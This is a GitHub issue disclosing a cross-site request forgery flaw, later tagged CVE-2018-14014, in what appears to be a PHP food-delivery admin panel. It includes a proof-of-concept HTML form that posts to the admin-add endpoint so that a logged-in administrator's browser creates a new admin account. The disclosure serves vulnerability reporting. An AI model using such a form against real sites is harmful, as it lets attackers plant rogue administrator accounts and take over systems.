Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There is a CSRF vulnerability that can add the administrator account #2

Open
FiveAourThe opened this issue Jul 12, 2018 · 1 comment

Comments

@FiveAourThe
Copy link

After the administrator logged in, open the following the page
poc:
csrf.html //add a admin

<html>
<form class="form-horizontal" role="form" action="http://www.waimai.com/admin.php?m=Member&a=adminaddsave" enctype="multipart/form-data" method="post">
<div class="form-group"><label class="col-sm-2 control-label" for="inputEmail3">用户名</label></div>
<div class="col-sm-4"><input name="username" class="form-control" id="inputEmail3" type="text" value=""></div>
<div class="col-sm-6"><span class="help-block"></span></div>
<div class="form-group"><label class="col-sm-2 control-label" for="inputPassword3">密码</label></div>
<div class="col-sm-4"><input name="password" class="form-control" id="inputEmail3" type="password" value=""></div>
<div class="col-sm-6"><span class="help-block"></span></div></div><div class="form-group"><label class="col-sm-2 control-label" for="inputPassword3">确认密码</label>
<div class="col-sm-4"><input name="repassword" class="form-control" id="inputEmail3" type="password" value=""></div>
<div class="col-sm-6"><span class="help-block"></span></div></div><hr><div class="form-group"><label class="col-sm-4 control-label" for="inputPassword3"></label><div class="col-sm-2"><button class="btn btn-primary" type="sumbit">保存</button></div>
<div class="col-sm-6"><span class="help-block"></span></div></div></form>

</html>
@NicoleG25
Copy link

@caokang
你好
是否有解决此漏洞的计划?
CVE-2018-14014

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants